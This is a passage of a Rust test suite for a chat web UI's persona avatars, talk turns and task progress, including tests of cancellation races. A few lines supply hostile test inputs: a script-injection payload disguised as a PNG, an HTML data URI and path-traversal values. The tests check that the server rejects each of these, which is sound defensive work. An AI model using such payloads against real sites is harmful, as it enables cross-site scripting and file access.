16085        let spoof = dir.path().join("spoof.png");
16086        std::fs::write(&spoof, b"<html><script>alert(1)</script></html>").unwrap();
16087        let big = dir.path().join("big.png");
16088        let mut bytes = tiny_png();
16089        bytes.resize(persona_icon::ICON_MAX_BYTES + 1, 0);
16090        std::fs::write(&big, bytes).unwrap();
16091        let missing = dir.path().join("missing.png");
16092        let uri = |p: &FsPath| p.to_string_lossy().replace('\\', "/");
16093        let extra = format!(
16094            "[[talk.personas]]\nid = \"rei\"\nicon = \"{}\"\n\
16095             [[talk.personas]]\nid = \"misato\"\nicon = \"{}\"\n\
16096             [[talk.personas]]\nid = \"asuka\"\nicon = \"{}\"\n\
16097             [[talk.personas]]\nid = \"shinji\"\nicon = \"{}\"\n\
16098             [[talk.personas]]\nid = \"kaworu\"\nicon = \"data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\"\n\
16099             [[talk.personas]]\nid = \"magi\"\nicon = \"data:image/png;base64,PGh0bWw+\"\n",
16100            uri(&good),
16101            uri(&spoof),
16102            uri(&big),
16103            uri(&missing),
16104        );
16105        let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
16106
16107        let (status, ct, nosniff, _, body) = avatar(&ui, &id, Some("rei"), false).await;
16108        assert_eq!(
16109            (status, ct.as_str(), nosniff),
16110            (StatusCode::OK, "image/png", true)
16111        );
16112        assert_eq!(body, tiny_png());
16113        let (_, ct, _, _, _) = avatar(&ui, &id, Some("kaworu"), false).await;
16114        assert_eq!(ct, "image/png", "data URI");
16115
16116        for p in ["misato", "asuka", "shinji", "magi"] {
16117            let (status, ct, _, csp, body) = avatar(&ui, &id, Some(p), false).await;
16118            assert_eq!(
16119                (status, ct.as_str(), csp),
16120                (StatusCode::OK, "image/svg+xml", true),
16121                "{p}"
16122            );
16123            assert!(body.starts_with(b"<svg"), "{p}");
16124        }
16125        // The page's own retry skips the icon.
16126        let (_, ct, _, _, _) = avatar(&ui, &id, Some("rei"), true).await;
16127        assert_eq!(ct, "image/svg+xml");
16128    }
16129
16130    #[tokio::test]
16131    async fn invalid_icons_keep_the_catalog_and_persona_switch_usable() {
16132        let oversized = format!(
16133            "data:image/png;base64,{}",
16134            "A".repeat(persona_icon::ICON_MAX_BYTES)
16135        );
16136        for bad in ["", "/images/avatar.svg", "/a/../b.png", &oversized] {
16137            let extra = format!(
16138                "[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Keep calm\"\nicon = \"{bad}\"\n"
16139            );
16140            let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
16141            let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
16142                .await
16143                .expect("detail with invalid icon");
16144            assert!(detail.personas.iter().any(|p| p.id == "custom"));
16145            let (status, ct, _, _, body) = avatar(&ui, &id, Some("custom"), false).await;
16146            assert_eq!(status, StatusCode::OK);
16147            assert_eq!(ct, "image/svg+xml");
16148            assert_eq!(body, persona_icon::builtin_svg("custom").as_bytes());
16149            let Json(view) = talk_persona(
16150                State(Arc::clone(&ui)),
16151                Path(id.clone()),
16152                Json(TalkPersona {
16153                    persona: "custom".into(),
16154                }),
16155            )
16156            .await
16157            .expect("persona switch with invalid icon");
16158            assert_eq!(view.talk.persona, "custom");
16159            assert_eq!(ui.talks.get(&id).unwrap().persona, "custom");
16160        }
16161    }
16162
16163    #[tokio::test]
16164    async fn an_unreadable_config_still_gets_the_builtin_avatar() {
16165        let (_t, _h, ui, id, repo) = avatar_fixture("").await;
16166        std::fs::write(repo.join("magi.toml"), "this is not valid TOML").unwrap();
16167        let (status, ct, nosniff, csp, _) = avatar(&ui, &id, Some("rei"), false).await;
16168        assert_eq!(
16169            (status, ct.as_str(), nosniff, csp),
16170            (StatusCode::OK, "image/svg+xml", true, true)
16171        );
16172    }
16173
16174    #[tokio::test]
16175    async fn the_talk_view_carries_server_built_avatar_urls_only() {
16176        let (_t, _h, ui, id, _repo) =
16177            avatar_fixture("[[talk.personas]]\nid = \"rei\"\nicon = \"~/secret/rei.png\"\n").await;
16178        let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
16179            .await
16180            .expect("detail");
16181        let json = serde_json::to_string(&detail).unwrap();
16182        assert!(
16183            !json.contains("secret"),
16184            "the icon setting must not leak: {json}"
16185        );
16186        assert!(
16187            detail
16188                .view
16189                .persona_avatar
16190                .starts_with(&format!("/api/talks/{id}/avatar?persona=default&v="))
16191        );
16192        assert_eq!(
16193            detail.view.operator_avatar,
16194            format!(
16195                "/avatars/operator.svg?v={}",
16196                persona_icon::fingerprint(Some(persona_icon::operator_svg()))
16197            )
16198        );
16199        assert!(!detail.personas.iter().any(|p| p.id == "operator"));
16200        let rei = detail.personas.iter().find(|p| p.id == "rei").unwrap();
16201        let plain = detail.personas.iter().find(|p| p.id == "asuka").unwrap();
16202        assert!(rei.avatar.contains("persona=rei&v="));
16203        assert_ne!(
16204            rei.avatar.split("&v=").nth(1),
16205            plain.avatar.split("&v=").nth(1)
16206        );
16207    }
16208
16209    #[tokio::test]
16210    async fn empty_settings_turn_releases_inline_only_for_unchanged_generation() {
16211        let (_t, _h, ui, id, repo) = avatar_fixture("").await;
16212        let cfg = config_for(&repo).await.unwrap();
16213        for arrived in [false, true] {
16214            let turn = ui.begin_talk_turn(&id).unwrap().unwrap();
16215            let observed = ui.queued_generation(&id);
16216            let talk = ui.talks.get(&id).unwrap();
16217            if arrived {
16218                assert!(ui.begin_queued_talk_turn(&id).unwrap().is_none());
16219            }
16220            let mut settling = std::pin::pin!(settle_settings_turn(
16221                talk,
16222                ui.talks.clone(),
16223                cfg.clone(),
16224                id.clone(),
16225                turn,
16226                observed
16227            ));
16228            let mut cx = std::task::Context::from_waker(std::task::Waker::noop());
16229            let first = std::future::Future::poll(settling.as_mut(), &mut cx);
16230            assert_eq!(first.is_pending(), arrived);
16231            if arrived {
16232                assert!(!settling.await);
16233            }
16234            assert!(!ui.is_thinking(&id));
16235        }
16236    }
16237
16238    #[tokio::test]
16239    async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
16240        let tmp = TempDir::new().expect("tempdir");
16241        let repo = tmp.path().join("repo");
16242        std::fs::create_dir_all(&repo).expect("repo dir");
16243        std::fs::write(
16244            repo.join("magi.toml"),
16245            format!(
16246                "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
16247            ),
16248        )
16249        .expect("write magi.toml");
16250        let home = TempDir::new().expect("temp home");
16251        let talks = Talks::at(home.path().join("talks"));
16252        let ui = Arc::new(
16253            Ui::new(
16254                Queue::at(home.path().join("queue")),
16255                Questions::at(home.path().join("questions")),
16256                talks.clone(),
16257                home.path().join("runs"),
16258                home.path().to_path_buf(),
16259                repo.clone(),
16260            )
16261            .with_worktrees_root(home.path().join("wt")),
16262        );
16263        let cfg = config_for(&repo).await.expect("discover config");
16264        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
16265        let id = talk.id.clone();
16266        let call = |persona: &str| {
16267            talk_persona(
16268                State(Arc::clone(&ui)),
16269                Path(id.clone()),
16270                Json(TalkPersona {
16271                    persona: persona.to_owned(),
16272                }),
16273            )
16274        };
16275
16276        let unknown = call("nobody").await.expect_err("unknown persona");
16277        assert_eq!(
16278            unknown.status,
16279            StatusCode::BAD_REQUEST,
16280            "{}",
16281            unknown.message
16282        );
16283
16284        {
16285            // Nothing refused so far took a claim, so the guard is free to take
16286            // and holding it is what makes the talk busy.
16287            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
16288            let busy = call("rei").await.expect_err("busy talk");
16289            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
16290            assert!(
16291                busy.message.contains("a talk turn is running"),
16292                "{}",
16293                busy.message
16294            );
16295            drop(guard);
16296        }
16297        assert_eq!(talks.get(&id).expect("reload").persona, "");
16298
16299        let Json(view) = call("gendo").await.expect("switch to a configured persona");
16300        assert_eq!(view.talk.persona, "gendo");
16301        assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
16302        assert!(!ui.is_thinking(&id), "idle response must release the claim");
16303        // No intervening I/O or sleep may be needed before another change.
16304        for chosen in ["default", "gendo", "rei", "gendo"] {
16305            let Json(view) = call(chosen).await.expect("immediate consecutive change");
16306            assert!(!view.thinking);
16307            assert!(!ui.is_thinking(&id));
16308        }
16309
16310        let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
16311            .await
16312            .expect("detail");
16313        let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
16314        assert_eq!(ids.first(), Some(&"default"));
16315        assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
16316
16317        let Json(view) = call("default").await.expect("back to default");
16318        assert_eq!(view.talk.persona, "");
16319
16320        let mut closed = talks.get(&id).expect("reload");
16321        talk::close(&mut closed, &talks).expect("close");
16322        let refused = call("rei").await.expect_err("closed talk");
16323        assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
16324        assert!(
16325            refused.message.contains("takes no more turns"),
16326            "{}",
16327            refused.message
16328        );
16329    }
16330
16331    #[tokio::test]
16332    async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
16333        let f = Fixture::start().await;
16334        let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
16335        let queue = f.queue();
16336        let mut mine = Task::new(
16337            "rename the loader".to_owned(),
16338            "rename the loader".to_owned(),
16339            PathBuf::from("/repo/magi"),
16340            Source::Agent {
16341                run: talk_id.clone(),
16342                node: "chat".to_owned(),
16343            },
16344        );
16345        let empty = f.get(&format!("/api/talks/{talk_id}")).await.json();
16346        assert_eq!(empty["task_progress"]["state"], "none");
16347        assert_eq!(empty["task_progress"]["total"], 0);
16348        queue.put(&mut mine).expect("file the task");
16349        let mut theirs = Task::new(
16350            "unrelated".to_owned(),
16351            "unrelated".to_owned(),
16352            PathBuf::from("/repo/magi"),
16353            Source::Human,
16354        );
16355        // A later task linked through origin_chat alone is outside this list.
16356        theirs.origin_chat = Some(talk_id.clone());
16357        queue.put(&mut theirs).expect("file the task");
16358
16359        let res = f.get(&format!("/api/talks/{talk_id}")).await;
16360        assert_eq!(res.status, 200, "{}", res.body);
16361        let body = res.json();
16362        assert_eq!(
16363            body["status"], "open",
16364            "filing a task does not close a talk"
16365        );
16366        let tasks = body["tasks"].as_array().expect("tasks array");
16367        assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
16368        assert_eq!(tasks[0]["id"], mine.id);
16369        for status in [
16370            TaskStatus::Queued,
16371            TaskStatus::Running,
16372            TaskStatus::Held,
16373            TaskStatus::Failed,
16374            TaskStatus::Blocked,
16375            TaskStatus::Parked,
16376            TaskStatus::Done,
16377            TaskStatus::Queued,
16378        ] {
16379            mine.status = status;
16380            queue.put(&mut mine).expect("update status");
16381            let detail = f.get(&format!("/api/talks/{talk_id}")).await.json();
16382            let progress = &detail["task_progress"];
16383            assert_eq!(progress["total"], 1);
16384            assert_eq!(progress["counts"][status.as_str()], 1);
16385            assert_eq!(detail["tasks"][0]["status"], status.as_str());
16386            assert_eq!(detail["status"], "open", "completion never closes the chat");
16387            if status == TaskStatus::Done {
16388                assert_eq!(progress["state"], "complete");
16389                assert_eq!(progress["done"], 1);
16390                assert_eq!(progress["unfinished_ids"], serde_json::json!([]));
16391            } else {
16392                assert_eq!(progress["state"], "incomplete");
16393                assert_eq!(progress["done"], 0);
16394                assert_eq!(progress["unfinished_ids"], serde_json::json!([mine.id]));
16395            }
16396        }
16397    }
16398
16399    #[test]
16400    fn goal_link_uses_newest_valid_direct_run_and_prefers_task_targets() {
16401        let home = tempfile::tempdir().unwrap();
16402        let runs = home.path().join("runs");
16403        let queue = Queue::at(home.path().join("queue"));
16404        let talks = Talks::at(home.path().join("talks"));
16405        let config = stub_config();
16406        let repo = PathBuf::from("/repo/magi");
16407        let mut talk = talk::begin(&talks, &config, repo.clone(), Some("stub")).unwrap();
16408        let reserve_run = |repo| {
16409            let mut run = RunState::new(
16410                repo,
16411                "main".into(),
16412                "0000000".into(),
16413                "Follow the review".into(),
16414                config.clone(),
16415            );
16416            run.reserve_under(home.path()).unwrap();
16417            run
16418        };
16419        let older = reserve_run(repo.clone());
16420        let newer = reserve_run(repo.clone());
16421        let foreign = reserve_run(PathBuf::from("/repo/other"));
16422        let mismatched = reserve_run(repo.clone());
16423        let corrupt = reserve_run(repo.clone());
16424        let run_file = |id: &str| runs.join(id).join("run.json");
16425        std::fs::write(
16426            run_file(&mismatched.id),
16427            serde_json::to_vec(&older).unwrap(),
16428        )
16429        .unwrap();
16430        std::fs::write(run_file(&corrupt.id), b"not json").unwrap();
16431        let goal = |tasks: Vec<String>, runs: Vec<String>| {
16432            serde_json::from_value::<crate::chat_goal::Goal>(serde_json::json!({
16433                "id": "g", "purpose": "Follow the review", "scope": "review",
16434                "condition": {"description": "Owner reviews the result", "kind": "owner_review"},
16435                "state": "waiting", "step": "Follow the recorded review",
16436                "source_turn": 0, "owner_input": "Follow the review",
16437                "tasks": tasks, "runs": runs, "watches": [],
16438                "evidence": "Seeded durable goal", "wake": 1, "handled": 1,
16439                "started": null, "wakes": 0, "last_checked": null, "fingerprint": ""
16440            }))
16441            .unwrap()
16442        };
16443        let link = |talk: &Talk| talk_goal_link(talk, &queue, &runs).map(|l| (l.kind, l.id));
16444
16445        talk.goals = vec![goal(vec![], vec![older.id.clone(), newer.id.clone()])];
16446        assert_eq!(link(&talk), Some(("run", newer.id.clone())));
16447
16448        let unusable = vec![
16449            foreign.id.clone(),
16450            mismatched.id.clone(),
16451            corrupt.id.clone(),
16452            "missing".into(),
16453            "../escape".into(),
16454        ];
16455        let mut references = vec![older.id.clone()];
16456        references.extend(unusable.clone());
16457        talk.goals = vec![goal(vec![], references)];
16458        assert_eq!(link(&talk), Some(("run", older.id.clone())));
16459
16460        talk.goals = vec![goal(vec!["missing-task".into()], unusable)];
16461        assert_eq!(link(&talk), None);
16462
16463        let mut task = Task::new(
16464            "Review".into(),
16465            "Follow the review".into(),
16466            repo,
16467            Source::Human,
16468        );
16469        queue.put(&mut task).unwrap();
16470        talk.goals = vec![goal(vec![task.id.clone()], vec![newer.id.clone()])];
16471        assert_eq!(link(&talk), Some(("task", task.id.clone())));
16472
16473        task.runs.push(older.id.clone());
16474        queue.put(&mut task).unwrap();
16475        assert_eq!(link(&talk), Some(("run", older.id)));
16476    }
16477
16478    #[test]
16479    fn talk_task_progress_counts_mixed_statuses() {
16480        let mut tasks: Vec<_> = [
16481            TaskStatus::Queued,
16482            TaskStatus::Running,
16483            TaskStatus::Held,
16484            TaskStatus::Failed,
16485            TaskStatus::Blocked,
16486            TaskStatus::Parked,
16487            TaskStatus::Done,
16488        ]
16489        .into_iter()
16490        .map(|status| {
16491            let mut task = Task::new(
16492                "task".into(),
16493                "task".into(),
16494                PathBuf::from("/repo"),
16495                Source::Human,
16496            );
16497            task.status = status;
16498            task
16499        })
16500        .collect();
16501        let progress = talk_task_progress(&tasks);
16502        assert_eq!(progress.state, "incomplete");
16503        assert_eq!(progress.total, 7);
16504        assert_eq!(progress.done, 1);
16505        assert_eq!(progress.unfinished_ids.len(), 6);
16506        assert!(progress.counts.values().all(|count| *count == 1));
16507        assert_eq!(
16508            progress.unfinished_ids,
16509            tasks[..6]
16510                .iter()
16511                .map(|task| task.id.clone())
16512                .collect::<Vec<_>>()
16513        );
16514
16515        for task in &mut tasks {
16516            task.status = TaskStatus::Done;
16517        }
16518        let complete = talk_task_progress(&tasks);
16519        assert_eq!(complete.state, "complete");
16520        assert_eq!(complete.done, 7);
16521        assert!(complete.unfinished_ids.is_empty());
16522        tasks[0].status = TaskStatus::Queued;
16523        let requeued = talk_task_progress(&tasks);
16524        assert_eq!(requeued.state, "incomplete");
16525        assert_eq!(requeued.done, 6);
16526        assert_eq!(requeued.unfinished_ids, vec![tasks[0].id.clone()]);
16527
16528        let empty = talk_task_progress(&[]);
16529        assert_eq!(empty.state, "none");
16530        assert_eq!(empty.total, 0);
16531        assert_eq!(empty.done, 0);
16532        assert!(empty.unfinished_ids.is_empty());
16533        assert!(empty.counts.values().all(|count| *count == 0));
16534    }
16535
16536    #[tokio::test]
16537    async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
16538        let (_tmp, _repo, f) = talk_fixture().await;
16539        let id = f.post("/api/talks", None).await.json()["id"]
16540            .as_str()
16541            .expect("id")
16542            .to_owned();
16543
16544        let res = f
16545            .post(
16546                &format!("/api/talks/{id}/say"),
16547                Some(r#"{"text":"what does the queue module do?"}"#),
16548            )
16549            .await;
16550        assert_eq!(res.status, 202, "{}", res.body);
16551        let queued = res.json();
16552        let turns = queued["turns"].as_array().expect("turns array");
16553        assert_eq!(
16554            turns.len(),
16555            1,
16556            "the answer reflects only what is on disk the instant it is sent, \
16557             before the agent's turn - which can run for the whole of \
16558             `[graph] timeout_talk` - has a chance to land: {queued}"
16559        );
16560        assert_eq!(turns[0]["who"], "operator");
16561        assert_eq!(turns[0]["body"], "what does the queue module do?");
16562        assert_eq!(
16563            queued["thinking"], true,
16564            "the accepted response exposes the background turn claim: {queued}"
16565        );
16566
16567        let mut turns_after = 1;
16568        for _ in 0..SETTLE_STEPS {
16569            let detail = f.get(&format!("/api/talks/{id}")).await.json();
16570            turns_after = detail["turns"].as_array().expect("turns array").len();
16571            if turns_after == 2 {
16572                break;
16573            }
16574            tokio::time::sleep(Duration::from_millis(10)).await;
16575        }
16576        assert_eq!(turns_after, 2, "the agent's reply eventually lands");
16577    }
16578
16579    /// A phone that reloads mid-request drops `talk_say`'s whole handler
16580    /// future without warning - see `TalkTurnGuard`'s doc. The bug this
16581    /// guards against: `talk::record` used to return, and only *then* did the
16582    /// handler make a second, separate disk round trip before spawning the
16583    /// agent's reply task. A future dropped in that gap left a message
16584    /// recorded on disk with no reply task ever started and no way back short
16585    /// of a fresh message - and the gap was not even the whole story: *any*
16586    /// `.await` in this handler, including the very first one, is a point
16587    /// where a drop can land after the awaited work already finished but
16588    /// before this handler's own code resumes to act on it. `record` now
16589    /// runs inside the task `tokio::spawn` hands to the runtime before this
16590    /// handler ever awaits anything of its own again, so there is nothing
16591    /// left in *this* handler's future for a disconnect to interrupt between
16592    /// the message landing on disk and the reply task starting.
16593    ///
16594    /// A real socket disconnect cannot be relied on to land in the old gap
16595    /// from a test - over loopback, `talk_say` typically finishes before the
16596    /// kernel even reports the peer gone. `JoinHandle::abort` reproduces the
16597    /// same failure mode directly: it drops the task's future at whatever
16598    /// point it has reached, exactly what axum does to the handler future,
16599    /// without needing to win a real network race. Sweeping the delay before
16600    /// aborting samples a range of points the task's execution can be at,
16601    /// including where the old code sat waiting on its second disk round
16602    /// trip - confirmed by reverting this fix locally and watching this same
16603    /// sweep catch a talk stuck with the operator's turn recorded and no
16604    /// reply ever following.
16605    #[tokio::test]
16606    async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
16607        let tmp = TempDir::new().expect("tempdir");
16608        let repo = tmp.path().join("repo");
16609        std::fs::create_dir_all(&repo).expect("repo dir");
16610        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
16611        let home = TempDir::new().expect("temp home");
16612        let talks = Talks::at(home.path().join("talks"));
16613        let ui = Arc::new(
16614            Ui::new(
16615                Queue::at(home.path().join("queue")),
16616                Questions::at(home.path().join("questions")),
16617                talks.clone(),
16618                home.path().join("runs"),
16619                home.path().to_path_buf(),
16620                repo.clone(),
16621            )
16622            .with_worktrees_root(home.path().join("wt")),
16623        );
16624        let cfg = config_for(&repo).await.expect("discover config");
16625
16626        for delay in 0..40u32 {
16627            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
16628            let id = talk.id.clone();
16629
16630            let handler = tokio::spawn(talk_say(
16631                State(Arc::clone(&ui)),
16632                Path(id.clone()),
16633                Ok(Json(NewTalkTurn {
16634                    reply_to: None,
16635                    text: "what does the queue module do?".to_owned(),
16636                    attachments: Vec::new(),
16637                })),
16638            ));
16639            tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
16640            handler.abort();
16641            // Wait out the abort so the next iteration's talk does not race
16642            // this one's still-unwinding turn guard.
16643            let _ = handler.await;
16644
16645            let mut turns = 0;
16646            for _ in 0..SETTLE_STEPS {
16647                if let Ok(fresh) = talks.get(&id) {
16648                    turns = fresh.turns.len();
16649                    if turns != 1 {
16650                        break;
16651                    }
16652                }
16653                tokio::time::sleep(Duration::from_millis(10)).await;
16654            }
16655            assert_ne!(
16656                turns, 1,
16657                "delay {delay}: talk {id} recorded the operator's turn but \
16658                 the agent never answered - the reply task was never \
16659                 started after the handler future was dropped"
16660            );
16661        }
16662    }
16663
16664    /// The same drop, landing on `talk_say`'s other durable write.
16665    ///
16666    /// When a turn is already running, the busy branch persists the
16667    /// operator's text as a queued draft and then reclaims the turn slot if
16668    /// the holder gave it up in the meantime - and whoever reclaims owes that
16669    /// draft a `drain_loop`. `blocking` runs its closure on `spawn_blocking`,
16670    /// which finishes whether or not the future awaiting it is still there,
16671    /// so a handler dropped at that `.await` used to leave the draft written
16672    /// to disk with the reclaimed guard dropped unread and no drainer ever
16673    /// started: the message sat queued until some unrelated later `say`
16674    /// happened to pick it up.
16675    ///
16676    /// This used to drive the handler future by hand, polling it a fixed
16677    /// number of times to park it at the `.await` where it asks for the turn
16678    /// and finds it busy, before the reclaim's slot-free case could be set up
16679    /// underneath it. That assumed a fixed number of polls lands at a fixed
16680    /// `.await` - which is not true: `blocking` awaits a `spawn_blocking`
16681    /// `JoinHandle`, and a `JoinHandle` already finished resolves in a single
16682    /// poll, so any number of this handler's several `blocking` awaits can
16683    /// collapse into one poll under load, landing the drive somewhere other
16684    /// than intended - including, occasionally, straight past the handler's
16685    /// own completion, which made polling it again panic with "async fn
16686    /// resumed after completion". No poll count fixes that; the handler's
16687    /// progress simply is not something a caller outside it can observe by
16688    /// counting.
16689    ///
16690    /// [`BusyQueueGate`] replaces the poll count with a real stop point
16691    /// inside the write itself, so the interleaving under test is pinned by
16692    /// an event instead of a guess: the gate fires only once the handler has
16693    /// actually decided `Busy` and is about to persist the draft, and it
16694    /// blocks that write until the test lets it through. Between those two
16695    /// moments the test drains the turn the handler found busy - through
16696    /// `drain_loop`, the protocol's other half - and then aborts the handler
16697    /// task outright, the same way axum drops a disconnected request's
16698    /// future. The write, and the reclaim it may do, run to completion
16699    /// regardless: they live in the `tokio::spawn` task the busy branch hands
16700    /// to the runtime before ever touching the gate, wholly independent of
16701    /// whether the handler that started it is still around - which is what
16702    /// this test is actually checking. A drainer other than that reclaim
16703    /// cannot exist here: the test's own `drain_loop` call happens before the
16704    /// gate opens, so it runs while the queue is still empty and hands the
16705    /// turn straight back rather than draining anything, closing off the
16706    /// possibility of the final assertion passing without the reclaim ever
16707    /// having done its job.
16708    #[tokio::test]
16709    async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
16710        let tmp = TempDir::new().expect("tempdir");
16711        let repo = tmp.path().join("repo");
16712        std::fs::create_dir_all(&repo).expect("repo dir");
16713        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
16714        let home = TempDir::new().expect("temp home");
16715        let talks = Talks::at(home.path().join("talks"));
16716        let ui = Arc::new(
16717            Ui::new(
16718                Queue::at(home.path().join("queue")),
16719                Questions::at(home.path().join("questions")),
16720                talks.clone(),
16721                home.path().join("runs"),
16722                home.path().to_path_buf(),
16723                repo.clone(),
16724            )
16725            .with_worktrees_root(home.path().join("wt")),
16726        );
16727        let cfg = config_for(&repo).await.expect("discover config");
16728        // Both waits guard against hangs, not slow filesystem or Git work on
16729        // a loaded test host. The gates and lock polls assert the ordering.
16730        let hang_guard = Duration::from_secs(30);
16731
16732        for attempt in 0..3u32 {
16733            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
16734            let id = talk.id.clone();
16735            // A turn is already running, which is what sends `talk_say` down
16736            // the busy branch.
16737            let turn_guard = ui
16738                .begin_talk_turn(&id)
16739                .expect("claim the turn")
16740                .expect("a fresh talk owes nobody a turn");
16741
16742            let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
16743            let (release_tx, release_rx) = std::sync::mpsc::channel();
16744            ui.set_busy_queue_gate(BusyQueueGate {
16745                reached: reached_tx,
16746                release: release_rx,
16747            });
16748
16749            let handler = tokio::spawn(talk_say(
16750                State(Arc::clone(&ui)),
16751                Path(id.clone()),
16752                Ok(Json(NewTalkTurn {
16753                    reply_to: None,
16754                    text: "what does the queue module do?".to_owned(),
16755                    attachments: Vec::new(),
16756                })),
16757            ));
16758
16759            // Wait for the busy branch to actually reach the gate, rather
16760            // than for any fixed number of polls of anything - a bounded
16761            // wait rather than a bare `.await` so a regression that never
16762            // reaches the gate fails the test instead of hanging it.
16763            tokio::time::timeout(hang_guard, reached_rx)
16764                .await
16765                .unwrap_or_else(|_| {
16766                    panic!(
16767                        "attempt {attempt}: talk {id} never reached the busy branch's queue write"
16768                    )
16769                })
16770                .expect("the busy branch dropped the gate without using it");
16771            assert!(
16772                crate::chat_worker::try_publication_guard(&talks, &id)
16773                    .expect("publication fence")
16774                    .is_none(),
16775                "a queued worker cannot promote text before its successor reservation is published"
16776            );
16777
16778            // A listener replacement queues its writer behind this accepted
16779            // mutation. Even disconnecting the HTTP caller must not release
16780            // admission before the write-to-worker handoff has completed.
16781            let closing = Arc::clone(&ui.admissions).write_owned();
16782            tokio::pin!(closing);
16783            std::future::poll_fn(|cx| {
16784                assert!(closing.as_mut().poll(cx).is_pending());
16785                std::task::Poll::Ready(())
16786            })
16787            .await;
16788            assert!(
16789                ui.begin_admission().is_err(),
16790                "replacement blocks later admissions"
16791            );
16792
16793            // The turn that was running now finishes and gives the slot up
16794            // the way a real one does - through `drain_loop`, which finds
16795            // nothing queued yet (the write is still held at the gate) and
16796            // releases. The handler, parked inside `spawn_blocking` on the
16797            // other side of the gate, still believes the talk is busy -
16798            // exactly the interleaving the reclaim exists for.
16799            let running = talks.get(&id).expect("reload talk");
16800            drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
16801
16802            // Drop the handler future now, the way a reloading phone drops
16803            // it: suspended waiting on the busy branch's answer, having
16804            // itself made no more progress since it handed the write off.
16805            handler.abort();
16806            let _ = handler.await;
16807            std::future::poll_fn(|cx| {
16808                assert!(
16809                    closing.as_mut().poll(cx).is_pending(),
16810                    "HTTP cancellation must not abandon a publishing transaction"
16811                );
16812                std::task::Poll::Ready(())
16813            })
16814            .await;
16815            assert!(
16816                crate::chat_worker::try_publication_guard(&talks, &id)
16817                    .expect("publication fence after disconnect")
16818                    .is_none()
16819            );
16820
16821            // Only now let the gated write proceed. It persists the draft
16822            // and reclaims the now-free slot from inside the task the busy
16823            // branch already spawned - unaffected by the handler's abort
16824            // above, since that task was independent of the handler's own
16825            // future from the moment it was spawned.
16826            release_tx.send(()).expect("busy queue write still gated");
16827            drop(
16828                tokio::time::timeout(hang_guard, closing)
16829                    .await
16830                    .unwrap_or_else(|_| {
16831                        panic!("attempt {attempt}: talk {id} did not release admission after the queue gate opened")
16832                    }),
16833            );
16834            assert!(
16835                crate::chat_worker::try_publication_guard(&talks, &id)
16836                    .expect("publication fence after acknowledgement")
16837                    .is_some(),
16838                "the publication fence is not retained by the long response"
16839            );
16840
16841            // A settled talk: the draft drained into an operator turn and
16842            // answered.
16843            let mut fresh = talks.get(&id).expect("reload talk");
16844            for _ in 0..SETTLE_STEPS {
16845                if fresh.pending.is_empty() && fresh.turns.len() == 2 {
16846                    break;
16847                }
16848                tokio::time::sleep(Duration::from_millis(10)).await;
16849                fresh = talks.get(&id).expect("reload talk");
16850            }
16851            assert!(
16852                fresh.pending.is_empty() && fresh.turns.len() == 2,
16853                "attempt {attempt}: talk {id} left the operator's text queued \
16854                 with no drainer - the reclaimed turn was dropped along with \
16855                 the handler future (pending {:?}, {} turns)",
16856                fresh.pending,
16857                fresh.turns.len()
16858            );
16859        }
16860    }
16861
16862    #[tokio::test]
16863    async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
16864        let (_tmp, _repo, f) = talk_fixture().await;
16865        let id = f.post("/api/talks", None).await.json()["id"]
16866            .as_str()
16867            .expect("id")
16868            .to_owned();
16869        let store = f.talks();
16870        let mut recovered = store.get(&id).expect("opened talk");
16871        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
16872            .expect("persist pending draft without a live turn");
16873
16874        let edited = f
16875            .post(
16876                &format!("/api/talks/{id}/pending/edit"),
16877                Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
16878            )
16879            .await;
16880        assert_eq!(edited.status, 200, "{}", edited.body);
16881        assert!(edited.json()["thinking"].as_bool().unwrap());
16882
16883        let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
16884        for _ in 0..SETTLE_STEPS {
16885            if detail["turns"].as_array().expect("turns").len() == 2 {
16886                break;
16887            }
16888            tokio::time::sleep(Duration::from_millis(10)).await;
16889            detail = f.get(&format!("/api/talks/{id}")).await.json();
16890        }
16891        let turns = detail["turns"].as_array().expect("turns");
16892        assert_eq!(
16893            turns.len(),
16894            2,
16895            "the recovered draft must run once: {detail}"
16896        );
16897        assert_eq!(turns[0]["body"], "corrected");
16898        assert_eq!(detail["pending"], "");
16899    }
16900
16901    #[tokio::test]
16902    async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
16903        let tmp = TempDir::new().expect("tempdir");
16904        let repo = tmp.path().join("repo");
16905        std::fs::create_dir_all(&repo).expect("repo dir");
